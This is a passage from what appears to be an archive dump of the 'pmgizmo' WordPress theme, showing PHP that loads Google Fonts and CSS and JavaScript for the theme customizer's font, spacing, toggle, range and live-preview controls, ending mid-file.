		$google_font_families[] = $theme_options['text_font'];
		$default_fonts[] = $theme_options['text_font']; 
	endif;
	// Add Site Title Font
	if( isset($theme_options['site_title_font']) and !in_array($theme_options['site_title_font'], $default_fonts)) :
		$google_font_families[] = $theme_options['site_title_font'];
		$default_fonts[] = $theme_options['site_title_font']; 
		
	endif;
	// Add Title Font
	if( isset($theme_options['title_font']) and !in_array($theme_options['title_font'], $default_fonts)) :
		$google_font_families[] = $theme_options['title_font'];
		$default_fonts[] = $theme_options['title_font']; 
	endif;
	// Add Navigation Font
	if( isset($theme_options['navi_font']) and !in_array($theme_options['navi_font'], $default_fonts)) :
		$google_font_families[] = $theme_options['navi_font'];
		$default_fonts[] = $theme_options['navi_font'];
	endif;
	// Add Widget Title Font
	if( isset($theme_options['widget_title_font']) and !in_array($theme_options['widget_title_font'], $default_fonts)) :
		$google_font_families[] = $theme_options['widget_title_font'];
		$default_fonts[] = $theme_options['widget_title_font'];
	endif;
	// Setup Google Font URLs
	$query_args = array(
		'family' => urlencode( implode( '|', $google_font_families ) ),
		'subset' => urlencode( 'latin,latin-ext' ),
    );
	$google_fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
	return $google_fonts_url;
}
// Add new Custom CSS styles for custom fonts
add_action( 'wp_enqueue_scripts', 'pmthemes_css_fonts');
function pmthemes_css_fonts() {
	// Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
	// Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
	// Set Font CSS Variable
	$font_css = '';
	
	// Set Default Text Font
	if ( isset($theme_options['text_font']) and $theme_options['text_font'] <> $theme_def['text_font'] ) :
		$font_css .= 'body, input, textarea {font-family: "'.esc_attr($theme_options['text_font']).'";}';
	endif;
	
	// Site Title Font
	if ( isset($theme_options['site_title_font']) and $theme_options['site_title_font'] <> $theme_def['site_title_font'] ) :
		$font_css .= '#logo .site-title {font-family: "'.esc_attr($theme_options['site_title_font']).'";}';
	endif;
	
	// Set Title Font
	if ( isset($theme_options['title_font']) and $theme_options['title_font'] <> $theme_def['title_font'] ) :
		$font_css .= '.page-title, .post-title, #frontpage-slider .pmsslide .slide-entry .slide-title,#comments .comments-title, #respond #reply-title {font-family: "'.esc_attr($theme_options['title_font']).'";}';
	endif;
	
	// Set Navigation Font
	if ( isset($theme_options['navi_font']) and $theme_options['navi_font'] <> $theme_def['navi_font'] ) :
		$font_css .= '.menu-toggle, .nav-menu li a, #topnav-menu a {font-family: "'.esc_attr($theme_options['navi_font']).'";}';
	endif;
	
	// Set Widget Title Font
	if ( isset($theme_options['widget_title_font']) and $theme_options['widget_title_font'] <> $theme_def['widget_title_font'] ) :
		$font_css .= '.widgettitle, #frontpage-magazine-widgets .widget .widgettitle {font-family: "'.esc_attr($theme_options['widget_title_font']).'";}';
	endif;
	
	// Print Font CSS
    if ( $font_css ) {
        wp_add_inline_style( 'pmthemes-custom', $font_css );
    }
}pmgizmo/inc/customizer/assets/.htaccess000064400000000000152223213640014271 0ustar00pmgizmo/inc/customizer/assets/css/customizer.css000064400000015763152223213640016227 0ustar00#customize-control-pmthemes_control_slider_activated{
    margin-top:24px;
}
#customize-control-pmthemes_control_excerpt_text_headline{
    margin-top:12px;
}
#customize-control-pmthemes_control_default_fonts,
#customize-control-pmthemes_control_excerpt_text_headline,
#customize-control-pmthemes_control_header_content,
#customize-control-pmthemes_control_related_posts,
#customize-control-pmthemes_control_slider_activated,
#customize-control-pmthemes_control_navi_settings_header,
#customize-control-pmthemes_control_hddr_adjust {
    margin-bottom:0;
}
#customize-control-pmthemes_control_footer_text textarea,
#customize-control-pmthemes_control_installed_fonts textarea{
    height:4em;
}
#customize-control-pmthemes_control_readmore_btn_hd .customize-control-title,
#customize-control-pmthemes_control_comment_btn_hd .customize-control-title,
#customize-control-pmthemes_control_sctop_bg_hd .customize-control-title,
#customize-control-pmthemes_control_tabbed_wdgt_hd .customize-control-title,
#customize-control-pmthemes_control_wdgt_bar_hd .customize-control-title,
#customize-control-pmthemes_control_frontpage_wdgt_adjt .customize-control-title,
#customize-control-pmthemes_control_frontpage_title_hd .customize-control-title,
#customize-control-pmthemes_control_frontpage_wdgt_hd .customize-control-title,
#customize-control-pmthemes_control_slider_clrs_hd .customize-control-title,
#customize-control-pmthemes_control_footer_bdr_header .customize-control-title,
#customize-control-pmthemes_control_widget_bx_header .customize-control-title,
#customize-control-pmthemes_control_top_mnu_drpd_hd .customize-control-title,
#customize-control-pmthemes_control_menu_borders .customize-control-title,
#customize-control-pmthemes_control_dropdown_menus .customize-control-title,
#customize-control-pmthemes_control_widget_tabbed_style .customize-control-title,
#customize-control-pmthemes_control_hddr_adjust .customize-control-title,
#customize-control-pmthemes_control_archive_images .customize-control-title,
#customize-control-pmthemes_control_widget_headers_style .customize-control-title,
#customize-control-pmthemes_control_widget_content_style .customize-control-title,
#customize-control-pmthemes_control_top_bar_title .customize-control-title,
#customize-control-pmthemes_control_extra_functions .customize-control-title,
#customize-control-pmthemes_control_archive_layout .customize-control-title,
#customize-control-pmthemes_control_post_dates .customize-control-title,
#customize-control-pmthemes_control_post_images .customize-control-title,
#customize-control-pmthemes_control_comments_option .customize-control-title,
#customize-control-pmthemes_control_header_top_border_title .customize-control-title,
#customize-control-pmthemes_control_header_bottom_border_title .customize-control-title,
#customize-control-pmthemes_control_header_background_title .customize-control-title,
#customize-control-pmthemes_control_header_line_title .customize-control-title,
#customize-control-pmthemes_control_header_top_bar_title .customize-control-title {
    background: #f9f9f9;
    padding: 10px 12px;
    border-top: 1px solid #DDD;
    border-bottom: 1px solid #DDD;
    margin: 0 -12px;
    font-size: 16px;
    line-height: 15px;
    font-weight: 600;
}
#customize-control-pmthemes_control_tabbed_wdgt_hd .customize-control-title,
#customize-control-pmthemes_control_wdgt_bar_hd .customize-control-title,
#customize-control-pmthemes_control_hddr_adjust .customize-control-title,
#customize-control-pmthemes_control_archive_images .customize-control-title,
#customize-control-pmthemes_control_archive_layout .customize-control-title {
    margin: 20px -12px 0;
}
.customize-control-pmthemes_custom_font {
    margin-bottom:24px;
}
.customize-control-pmthemes_custom_font .actions,
.customize-control-pmthemes_custom_font_list .actions{
    margin-top:8px;
}
.customize-control-pmthemes_custom_font .actions .button.previous{
     margin-right:4px;
}
.customize-control-pmthemes_custom_font .actions .button.standard{
    float:right;
}
.customize-control-pmthemes_custom_font select{
    width:100%;
}
.customize-control-pmthemes_custom_font div:hover{
    cursor:default;
}
.customize-control-pmthemes_custom_font .actions .button:hover {
     cursor:pointer;
}
#customize-control-pmthemes_control_site_favi img {
    max-width: 32px;
}
#customize-control-pmthemes_control_header_logo {
     margin-bottom: 1em;
}
.customize-control-textarea textarea,
.customize-control select,
.customize-control input[type="text"]{
    width: 95%;
}
 /* Toggle CSS */
.pmthemes-control-toggles {
    display: flex;
}
.pmthemes-control-toggles button {
    flex-basis: 100%;
    background-color: #fafafa;
    border: 1px solid #ddd;
    cursor: pointer;
    padding: 5px 10px;
}
.pmthemes-control-toggles button:last-child {
    border-left: 0;
}
.pmthemes-control-toggles button.active {
    background-color: #fff;
    border: 1px solid #ccc;
    font-weight: bold;
}
#customize-theme-controls #sub-accordion-section-pmthemes_section_navigation.accordion-section-content {
    overflow: hidden;
}

/* Spacing */
span.spacing-size-label {
    display: inline-block;
    width: 60%;
    margin-bottom: 0;
}

.customize-control-spacing .description {
    font-size: 10px;
    text-transform: uppercase;
    font-weight: bold;
    font-style: normal;
    opacity: 0.7;
}

.customize-control-pmniches-spacing-slider .slider.show-reset {
    width: 90%;
    float: left;
}

.pmniches-link-spacing,
.pmniches-unlink-spacing {
    cursor: pointer;
    float: right;
}

.pmniches-link-spacing-section span {
    line-height: 26px;
    display: block;
    height: 26px;
    width: 100%;
    background:#FFF;
    color:#a4afb7;
    border-width: 1px;
    border-color: #DDD;
    border-style: solid;
    font-size: 14px;
}

.pmniches-link-spacing-section span.pmniches-link-spacing:hover {
    background:#FFF;
    color:#a4afb7;
    border-width: 1px;
    border-color: #DDD;
}

.pmniches-link-spacing-section span.pmniches-unlink-spacing {
    background: #2c96c0;
    color: #FFF;
    height: 28px;
    line-height: 28px;
    border: 0;
    box-shadow: 0 0 0 transparent;
}

.pmniches-spacing-section input[type="number"] {
    border-color: #DDD;
    border-width: 1px 0 1px 1px;
}

.pmniches-spacing-section {
    float: left;
    width:22%;
    clear:none;
    text-align:center
}

.pmniches-spacing-section.pmniches-link-spacing-section {
    width: 12%;
}

.pmniches-spacing-section .description {
    font-size: 10px;
    text-transform: uppercase;
    font-weight: bold;
    font-style: normal;
    opacity: 0.7;
}

.no-edit-field {
    font-size: 11px;
    opacity: 0.8;
    font-weight: 600;
}

/*
 * Make sure slider is 100% wide.
 * Old versions of Secondary Nav will have this set as 50%
 * so we need to set !important to overwrite that.
 */
.customize-control.customize-control-pmniches-spacing-slider {
    width: 100% !important;
}pmgizmo/inc/customizer/assets/css/ranger.css000064400000006404152223213640015271 0ustar00.customize-control-pmthemes-range .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; flex-wrap: wrap; -webkit-align-items: center; align-items: center; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }
.customize-control-pmthemes-range input[type=range] { background-color: rgba(0, 0, 0, 0.1); height: 6px; width: 59%; padding: 0; cursor: pointer; -webkit-transition: background .5s; -moz-transition: background .5s; transition: background .5s; -webkit-appearance: none; }
.customize-control-pmthemes-range input[type="range"]:focus { box-shadow: none !important; outline: none !important; }
.customize-control-pmthemes-range input[type="range"]:hover { background-color: rgba(0, 0, 0, 0.15); }
.customize-control-pmthemes-range input[type="range"]::-webkit-slider-thumb { -webkit-appearance: none; background-color: #2e86b9; width: 15px; height: 15px; border-radius: 15px; -webkit-border-radius: 15px; }
.customize-control-pmthemes-range input[type="range"]::-moz-range-track { border: inherit; background-color: transparent; }
.customize-control-pmthemes-range input[type="range"]::-ms-track { border: inherit; color: transparent; background-color: transparent; }
.customize-control-pmthemes-range input[type="range"]::-ms-fill-lower,
.customize-control-pmthemes-range input[type="range"]::-ms-fill-upper { background-color: transparent; }
.customize-control-pmthemes-range input[type="range"]::-ms-tooltip { display: none; }
.customize-control-pmthemes-range input[type="range"]::-webkit-slider-thumb { -webkit-appearance: none; width: 15px; height: 15px; border: none; border-radius: 15px; background-color: #2e86b9; }
.customize-control-pmthemes-range input[type="range"]::-moz-range-thumb { width: 15px; height: 15px; border: none; border-radius: 15px; background-color: #2e86b9; }
.customize-control-pmthemes-range input[type="range"]::-ms-thumb { width: 15px; height: 15px; border-radius: 15px; border: 0; background-color: #2e86b9; }
.customize-control-pmthemes-range input.pmthemes-range-input { width: 19%; height: 27px; text-align: center; margin-left: 2%; padding: 3px; font-size: 12px; font-weight: 600; color: #555; border: 1px solid #DDD; -moz-appearance: textfield;}
.customize-control-pmthemes-range input.pmthemes-range-input::-webkit-outer-spin-button,
.customize-control-pmthemes-range input.pmthemes-range-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; }
.customize-control-pmthemes-range span.pmthemes-reset-slider { display: inline-block; position: absolute; width: 0; margin-right: 33px; line-height: 1; color: rgba(0, 0, 0, 0.2); cursor: pointer; text-align: center; transition: all .3s ease; -webkit-transition: all .3s ease; -moz-transition: all .3s ease; -o-transition: all .3s ease; -ms-transition: all .3s ease; padding: 4px 0; right: 0; }
.customize-control-pmthemes-range span.pmthemes-reset-slider:hover { color: #fe5252; }
.customize-control-pmthemes-range span.pmthemes-reset-slider span { width: 16px; height: 16px; font-size: 18px; line-height: 1; }
.customize-control-pmthemes-range .control-wrap span.unit {width: 25px; display: block; float: left; background: #FFF; height: 25px; border: 1px solid #DDD; text-align: center; text-transform: uppercase; font-size: 10px; line-height: 25px; cursor: default;
}pmgizmo/inc/customizer/assets/css/.htaccess000064400000000000152223213640015061 0ustar00pmgizmo/inc/customizer/assets/js/custom-font-control.js000064400000020312152223213640017411 0ustar00/**
 * Adds Custom Font Control to Customizer
 *
 */
 (function( wp, $ ){
	/**
	 * The Customizer looks for wp.customizer.controlConstructor[type] functions
	 * where type == the type member of a WP_Customize_Control
	 */
	wp.customize.controlConstructor.pmthemes_custom_font = wp.customize.Control.extend({
		/**
		 * This method is called when the control is ready to run.
		 * Do all of your setup and event binding here.
		 */
		ready: function() {
			// this.container is a jQuery object of your container

			// grab the bits of data from the title for specifying this control
			var data = this.container.find( '.customize-control-title' ).data();

			// Use specific l10n data for this control where available
			this.l10n = data.l10n;
			
			// Set default font
			this.font = data.font;

			// Set up button elements. Cache for re-use.
			this.$btnContainer = this.container.find( '.actions' );
			this.$btnStandard = $( '<button type="button" class="button standard">' + this.l10n.standard + '</button>' ).prependTo( this.$btnContainer );
			this.$btnNext = $( '<button type="button" class="button next" title="' + this.l10n.next + '">&raquo;</button>' ).prependTo( this.$btnContainer );
			this.$btnPrevious = $( '<button type="button" class="button previous" title="' + this.l10n.previous + '">&laquo;</button>' ).prependTo( this.$btnContainer );

			// handy shortcut so we don't have to us _.bind every time we add a callback
			_.bindAll( this, 'standard', 'next', 'previous' );

			this.$btnStandard.on( 'click', this.standard );
			this.$btnNext.on( 'click', this.next );
			this.$btnPrevious.on( 'click', this.previous );

		},
		/**
		 * Called when the "Default" link is clicked. Sets the font to the default theme font
		 * @param  {object} event jQuery Event object from click event
		 */
		standard: function( event ) {
			event.preventDefault();
			var select = this.container.find('select');
			
			select.find('option[selected]').removeAttr('selected');
			select.find('option[value="' + this.font + '"]').attr('selected', 'selected');
			select.trigger('change');
		},
		/**
		 * Called when the "Next" link is clicked. Iterates to the next value in the select field.
		 * @param  {object} event jQuery Event object from click event
		 */
		next: function( event ) {
			event.preventDefault();
			var select = this.container.find('select');
			var current = select.find('option').filter(':selected');
			var next = this.nextOrFirst(current);
			
			current.removeAttr('selected');
			next.attr('selected', 'selected');
			select.trigger('change');
		},
		/**
		 * Called when the "Previous" link is clicked. Iterates to the previous value in the select field.
		 * @param  {object} event jQuery Event object from click event
		 */
		previous: function( event ) {
			event.preventDefault();
			var select = this.container.find('select');
			var current = select.find('option').filter(':selected');
			var previous = this.prevOrLast(current);
			
			current.removeAttr('selected');
			previous.attr('selected', 'selected');
			select.trigger('change');
		},
		/**
		* nextOrFirst()
		* Works like next(), except gets the first item from siblings if there is no "next" sibling to get.
		*/
		nextOrFirst: function(selector) {
			var next = selector.next();
			return (next.length) ? next : selector.prevAll().last();
		},
		/**
		* prevOrLast()
		* Works like prev(), except gets the last item from siblings if there is no "prev" sibling to get.
		*/
		prevOrLast: function(selector) {
			var prev = selector.prev();
			return (prev.length) ? prev : selector.nextAll().last();
		}

	});
	
	/**
	 * Custom Control JS for Available Fonts Setting
	 */
	wp.customize.controlConstructor.pmthemes_custom_font_list = wp.customize.Control.extend({
		/**
		 * This method is called when the control is ready to run.
		 * Do all of your setup and event binding here.
		 */
		ready: function() {
			// this.container is a jQuery object of your container

			// grab the bits of data from the title for specifying this control
			var data = this.container.find( '.custom-font-lists' ).data();

			// Use specific l10n data for this control where available
			this.l10n = data.l10n;
			
			// Set font lists
			this.browser_fonts = data.standard;
			this.favorite_fonts = data.favorite;
			this.popular_fonts = data.popular;
			this.all_fonts = data.all;

			// Set up button elements. Cache for re-use.
			this.$btnContainer = this.container.find( '.actions' );
			this.$btnUpdate = $( '<button type="button" class="button update">' + this.l10n.update + '</button>' ).prependTo( this.$btnContainer );
			
			// handy shortcut so we don't have to us _.bind every time we add a callback
			_.bindAll( this, 'update' );

			this.$btnUpdate.on( 'click', this.update );

		},
		/**
		 * Called when the "Update Fonts" link is clicked. Adds the new font set to the font select fields
		 * @param  {object} event jQuery Event object from click event
		 */
		update: function( event ) {
			event.preventDefault();
			
			// Set Font List HTML Output
			var font_output = '';
			
			// Create Font Array
			var font_array = [];
			
			// Get Selected Font Set
			var selected = this.container.find('select option').filter(':selected');
			
			// Get Font Settings Controls
			var text_font = $('#customize-control-text_font').find('select');
			var site_title_font = $('#customize-control-site_title_font').find('select');
			var title_font = $('#customize-control-title_font').find('select');
			var navi_font = $('#customize-control-navi_font').find('select');
			var widget_title_font = $('#customize-control-widget_title_font').find('select');
			
			// Get current selected values
			var text_font_current = text_font.find('option').filter(':selected').val();
			var site_title_font_current = site_title_font.find('option').filter(':selected').val();
			var title_font_current = title_font.find('option').filter(':selected').val();
			var navi_font_current = navi_font.find('option').filter(':selected').val();
			var widget_title_font_current = widget_title_font.find('option').filter(':selected').val();
			
			// Retrieve all Fonts from this Set
			if( selected.val() == 'all' ) {
				var fonts = this.all_fonts;
			} else if( selected.val() == 'popular' ) {
				var fonts = this.popular_fonts;
			} else if( selected.val() == 'default' ) {
				var fonts = this.browser_fonts;
			} else {
				var fonts = this.favorite_fonts;
			}
			
			// Create Font Array
			for (var key in fonts) {
				if (fonts.hasOwnProperty(key)) {
					font_array.push(fonts[key]);
				}
			}
			
			// Add currently selected fonts
			if( $.inArray( text_font_current, font_array ) < 0 ) {
				font_array.push(text_font_current);
			}
			if( $.inArray( site_title_font_current, font_array ) < 0 ) {
				font_array.push(site_title_font_current);
			}
			if( $.inArray( title_font_current, font_array ) < 0 ) {
				font_array.push(title_font_current);
			}
			if( $.inArray( navi_font_current, font_array ) < 0 ) {
				font_array.push(navi_font_current);
			}
			if( $.inArray( widget_title_font_current, font_array ) < 0 ) {
				font_array.push(widget_title_font_current);
			}
			
			// Sort Array
			font_array.sort();
						
			// Loop through fonts
			$.each(font_array, function(key,value) {
				
				// Create HTML options
				font_output += '<option value="'+value+'">'+value+'</option>';

			});
			
			// Add HTML Output to Font Controls
			text_font.html(font_output);
			site_title_font.html(font_output);
			title_font.html(font_output);
			navi_font.html(font_output);
			widget_title_font.html(font_output);

			// Re-select active value
			text_font.find('option[value="' + text_font_current + '"]').attr('selected', 'selected');
			site_title_font.find('option[value="' + site_title_font_current + '"]').attr('selected', 'selected');
			title_font.find('option[value="' + title_font_current + '"]').attr('selected', 'selected');
			navi_font.find('option[value="' + navi_font_current + '"]').attr('selected', 'selected');
			widget_title_font.find('option[value="' + widget_title_font_current + '"]').attr('selected', 'selected');


		}
	});

})( this.wp, jQuery );pmgizmo/inc/customizer/assets/js/spacing.js000064400000005037152223213640015110 0ustar00( function( $, api ) {
	// No longer needed as of 1.2.95
	// Keeping it here just in case
	api.controlConstructor['spacing'] = api.Control.extend( {
		ready: function() {
			var control = this;
			$( '.pmthemes-number-control', control.container ).on( 'change keyup',
				function() {
					control.setting.set( $( this ).val() );
				}
			);
		}
	} );
	
	api.controlConstructor['pmniches-spacing-slider'] = api.Control.extend( {
		ready: function() {
			var control = this;
			$( '.slider-input', control.container ).on( 'change keyup',
				function() {
					control.setting.set( $( this ).val() );
				}
			);
		}
	} );

	api.controlConstructor['pmthemes-spacing'] = api.Control.extend( {
		ready: function() {
			var control = this;

			control.container.on( 'change keyup', '.spacing-top',
				function() {
					control.settings['top'].set( jQuery( this ).val() );
				}
			);

			control.container.on( 'change keyup', '.spacing-right',
				function() {
					control.settings['right'].set( jQuery( this ).val() );
				}
			);

			control.container.on( 'change keyup', '.spacing-bottom',
				function() {
					control.settings['bottom'].set( jQuery( this ).val() );
				}
			);

			control.container.on( 'change keyup', '.spacing-left',
				function() {
					control.settings['left'].set( jQuery( this ).val() );
				}
			);
		}
	} );
} )( jQuery, wp.customize );

jQuery( document ).ready( function($) {
	$( '.pmniches-link-spacing' ).on( 'click', function(e) {
		e.preventDefault();

		// Set up variables
		var _this = $( this ),
		element = _this.data( 'element' );

		// Add our linked-values class to the next 4 elements
		_this.parent( '.pmniches-spacing-section' ).prevAll().slice(0,4).find( 'input' ).addClass( 'linked-values' ).attr( 'data-element', element );

		// Change our link icon class
		_this.hide();
		_this.next( 'span' ).show();
	});

	$( '.pmniches-unlink-spacing' ).on( 'click', function(e) {
		e.preventDefault();

		// Set up variables
		var _this = $( this );

		// Remove our linked-values class to the next 4 elements
		_this.parent( '.pmniches-spacing-section' ).prevAll().slice(0,4).find( 'input' ).removeClass( 'linked-values' ).attr( 'data-element', '' );

		// Change our link icon class
		_this.hide();
		_this.prev( 'span' ).show();
	});

	$( '.pmniches-spacing-section' ).on( 'input', '.linked-values', function() {
		var data = $( this ).attr( 'data-element' );
		var val = $( this ).val();
		$( '.linked-values[ data-element="' + data + '" ]' ).each( function( key, value ) {
			var element = $( this );
			element.val( val ).change();
		});
	});
});pmgizmo/inc/customizer/assets/js/toggle.js000064400000006641152223213640014747 0ustar00jQuery( document ).ready( function($) {
	$( '.pmthemes-control-toggles' ).each( function() {
		$( this ).find( 'button' ).first().addClass( 'active' );
	} );

	$( document ).on( 'click', '.pmthemes-control-toggles button', function( e ) {
		e.preventDefault();
		var button = $( this ),
			target = button.data( 'target' ),
			other_targets = button.siblings();

		button.addClass( 'active' );
		button.siblings().removeClass( 'active' );

		$( 'li[data-control-section="' + target + '"]' ).css( {
			visibility: 'visible',
			height: '',
			width: '',
			margin: '',
		} );

		$.each( other_targets, function( index, value ) {
			var other_target = $( this ).data( 'target' );
			$( 'li[data-control-section="' + other_target + '"]' ).css( {
				visibility: 'hidden',
				height: '0',
				width: '0',
				margin: '0'
			} );
		} );
	} );

    // Navigation Settings Controls
    var main_navigation_controls = [
        'pmthemes_control_nav_on_header',
        'pmthemes_control_sticky_navi',
        'pmthemes_control_search_icon',
        'pmthemes_control_mainmenu_font_size',
        'pmthemes_control_mainmenu_bar_padding',
        'pmthemes_control_no_drpdown_ind',
    ];

    $.each( main_navigation_controls, function( index, value ) {
        $( '#customize-control-' + value ).attr( 'data-control-section', 'main-navigation' );
    } );

    var top_navigation_controls = [
        'pmthemes_control_header_icons',
        'pmthemes_control_topnav_align',
        'pmthemes_control_topnav_down',
        'pmthemes_control_topmenu_font_size',
        'pmthemes_control_topmenu_bar_padding',
        'pmthemes_control_top_nav_inactive',
        'pmthemes_control_header_line_enable',
    ];

    $.each( top_navigation_controls, function( index, value ) {
        $( '#customize-control-' + value ).attr( 'data-control-section', 'top-navigation' ).css( {
            visibility: 'hidden',
            height: '0',
            width: '0',
            margin: '0',
            overflow: 'hidden'
        } );
    } );
});
// Navigating to a URL in the Customizer Preview when a Section is Expanded
// https://make.xwp.co/2016/07/21/navigating-to-a-url-in-the-customizer-preview-when-a-section-is-expanded/
(function ( api ) {
    api.section( 'static_front_page', function( section ) {
        section.expanded.bind( function( isExpanded ) {
            var url;
            if ( isExpanded ) {
                url = api.settings.url.home;
                api.previewer.previewUrl.set( url );
            }
        } );
    } );
    api.section( 'pmthemes_homepage_colors', function( section ) {
        section.expanded.bind( function( isExpanded ) {
            var url;
            if ( isExpanded ) {
                url = api.settings.url.home;
                api.previewer.previewUrl.set( url );
            }
        } );
    } );
    api.section( 'pmthemes_section_slider', function( section ) {
        section.expanded.bind( function( isExpanded ) {
            var url;
            if ( isExpanded ) {
                url = api.settings.url.home;
                api.previewer.previewUrl.set( url );
            }
        } );
    } );
    api.section( 'pmthemes_featured_content', function( section ) {
        section.expanded.bind( function( isExpanded ) {
            var url;
            if ( isExpanded ) {
                url = api.settings.url.home;
                api.previewer.previewUrl.set( url );
            }
        } );
    } );
} ( wp.customize ) );pmgizmo/inc/customizer/assets/js/.htaccess000064400000000000152223213640014705 0ustar00pmgizmo/inc/customizer/assets/js/ranger.js000064400000005606152223213640014744 0ustar00wp.customize.controlConstructor['pmthemes-range'] = wp.customize.Control.extend({
    ready: function() {
        'use strict';
        var control = this,
            range,
            range_input,
            value,
            this_input,
            input_default,
            changeAction,
            pmthemes_range_input_number_timeout;
        
        // Auto correct the number input
        function pmthemes_autocorrect_range_input_number( input_number, timeout ) {

            var range_input 	= input_number,
                range 			= range_input.parent().find( 'input[type="range"]' ),
                value 			= parseFloat( range_input.val() ),
                reset 			= parseFloat( range.attr( 'data-reset_value' ) ),
                step 			= parseFloat( range_input.attr( 'step' ) ),
                min 			= parseFloat( range_input.attr( 'min') ),
                max 			= parseFloat( range_input.attr( 'max') );
            clearTimeout( pmthemes_range_input_number_timeout );
            pmthemes_range_input_number_timeout = setTimeout( function() {
                if ( isNaN( value ) ) {
                    range_input.val( reset );
                    range.val( reset ).trigger( 'change' );
                    return;
                }
                if ( step >= 1 && value % 1 !== 0 ) {
                    value = Math.round( value );
                    range_input.val( value );
                    range.val( value );
                }
                if ( value > max ) {
                    range_input.val( max );
                    range.val( max ).trigger( 'change' );
                }
                if ( value < min ) {
                    range_input.val( min );
                    range.val( min ).trigger( 'change' );
                }
            }, timeout );
            range.val( value ).trigger( 'change' );
        }

        // Change the text value
        jQuery( 'input.pmthemes-range-input' ).on( 'change keyup', function() {
            pmthemes_autocorrect_range_input_number( jQuery( this ), 1000);
        } ).on( 'focusout', function() {
            pmthemes_autocorrect_range_input_number( jQuery( this ), 0);
        } );

        // Handle the reset button
        jQuery( '.pmthemes-reset-slider' ).on('click', function() {
            this_input 		= jQuery( this ).closest( 'label' ).find( 'input' );
            input_default 	= this_input.data( 'reset_value' );

            this_input.val( input_default );
            this_input.change();

        } );
        if ( 'postMessage' === control.setting.transport ) {
            changeAction = 'mousemove change';
        } else {
            changeAction = 'change';
        }
        // Change the value
        this.container.on( changeAction, 'input', function() {
            control.setting.set( jQuery( this ).val() );
        });
    }
});

pmgizmo/inc/customizer/assets/js/customizer-preview.js000064400000147541152223213640017356 0ustar00/*
 * Customizer.js to reload changes on Theme Customizer Preview asynchronously.
 *
 */
(function($) {
    $(document).ready(function() {

	/* Default WordPress Customizer settings */
	wp.customize( 'blogname', function( value ) {
		value.bind( function( to ) {
			$( '#logo .site-title' ).text( to );
		} );
	} );
	wp.customize( 'blogdescription', function( value ) {
		value.bind( function( to ) {
			$( '#logo .site-description' ).text( to );
		} );
	} );
    if (wp.customize( 'pmthemes_theme_options[header_gradient_enable]' )() == 1) {
	/* Header Background Color */
	var header_backgr = wp.customize( 'pmthemes_theme_options[header_backgr]' )();
	var header_grad_ient = wp.customize( 'pmthemes_theme_options[header_grad_ient]' )();
	var header_gr_dir = wp.customize( 'pmthemes_theme_options[header_gr_dir]' )();
	wp.customize( 'pmthemes_theme_options[header_backgr]', function( value ) {
		value.bind( function( to ) {
			header_backgr = to;
			$( '#header-wrap, .natty #header-wrap' ).css( {
				'background': 'linear-gradient( '
					.concat( header_gr_dir ).concat(' , ' )
					.concat( header_backgr ).concat( ' , ' )
					.concat( header_grad_ient ).concat( ' )' )
			} );
		} );
	} );
	/* Header Background Gradient Effect */
	wp.customize( 'pmthemes_theme_options[header_grad_ient]', function( value ) {
		value.bind( function( to ) {
			header_grad_ient = to;
			$( '#header-wrap, .natty #header-wrap' ).css(
				{'background': 'linear-gradient( '
					.concat( header_gr_dir ).concat(' , ' )
					.concat( header_backgr ).concat( ' , ' )
					.concat( header_grad_ient ).concat( ' )' )
				}
			);
		} );
	} );
    } else {
	/* Plain Header Background Color */
	wp.customize( 'pmthemes_theme_options[header_backgr]', function( value ) {
		value.bind( function( newval ) {
			$('#header-wrap, .natty #header-wrap')
				.css('background', newval );
		} );
	} );
    }
    var header_topbo_height = wp.customize( 'pmthemes_theme_options[header_topbo_height]' )();
    var header_topbo = wp.customize( 'pmthemes_theme_options[header_topbo]' )();
	/* Header Top Border Height */
	wp.customize( 'pmthemes_theme_options[header_topbo_height]', function( value ) {
		value.bind( function( to ) {
			header_topbo_height = to;
			$( '#header-wrap, .natty #header-wrap' ).css( {
				'border-top': ' '
					.concat( header_topbo_height ).concat( 'px solid' )
					.concat( header_topbo ).concat( ' ' )
			} );
		} );
	} );
	/* Header Top Border Color */
	wp.customize( 'pmthemes_theme_options[header_topbo]', function( value ) {
		value.bind( function( to ) {
			header_topbo = to;
			$( '#header-wrap, .natty #header-wrap' ).css(
				{'border-top': ' '
					.concat( header_topbo_height ).concat( 'px solid' )
					.concat( header_topbo ).concat( ' ' )
				}
			);
		} );
	} );
    var header_bottom_bor_height = wp.customize( 'pmthemes_theme_options[header_bottom_bor_height]' )();
    var header_bottom_border = wp.customize( 'pmthemes_theme_options[header_bottom_border]' )();
	/* Header Bottom Border Height */
	wp.customize( 'pmthemes_theme_options[header_bottom_bor_height]', function( value ) {
		value.bind( function( to ) {
			header_bottom_bor_height = to;
			$( '#header-wrap, .natty #header-wrap' ).css( {
				'border-bottom': ' '
					.concat( header_bottom_bor_height ).concat( 'px solid' )
					.concat( header_bottom_border ).concat( ' ' )
			} );
		} );
	} );
	/* Header Bottom Border Color */
	wp.customize( 'pmthemes_theme_options[header_bottom_border]', function( value ) {
		value.bind( function( to ) {
			header_bottom_border = to;
			$( '#header-wrap, .natty #header-wrap' ).css(
				{'border-bottom': ' '
					.concat( header_bottom_bor_height ).concat( 'px solid' )
					.concat( header_bottom_border ).concat( ' ' )
				}
			);
		} );
	} );
	var headline_top_bor_height = wp.customize( 'pmthemes_theme_options[headline_top_bor_height]' )();
	var headline_top_border = wp.customize( 'pmthemes_theme_options[headline_top_border]' )();
	/* Header Line Top Border Height */
	wp.customize( 'pmthemes_theme_options[headline_top_bor_height]', function( value ) {
		value.bind( function( to ) {
            headline_top_bor_height = to;
			$( '.header-line' ).css( {
				'border-top': ' '
					.concat( headline_top_bor_height ).concat( 'px solid' )
					.concat( headline_top_border ).concat( ' ' )
			} );
		} );
	} );
	/* Header Line Top Border Color */
	wp.customize( 'pmthemes_theme_options[headline_top_border]', function( value ) {
		value.bind( function( to ) {
            headline_top_border = to;
			$( '.header-line' ).css(
				{'border-top': ' '
					.concat( headline_top_bor_height ).concat( 'px solid' )
					.concat( headline_top_border ).concat( ' ' )
				}
			);
		} );
	} );
	/* Header Line Bottom Border Color */
	wp.customize( 'pmthemes_theme_options[headline_bottom_border]', function( value ) {
		value.bind( function( newval ) {
			$('.header-line')
				.css('border-bottom', '1px solid ' + newval )
		} );
	} );
	/* Font Title Size */
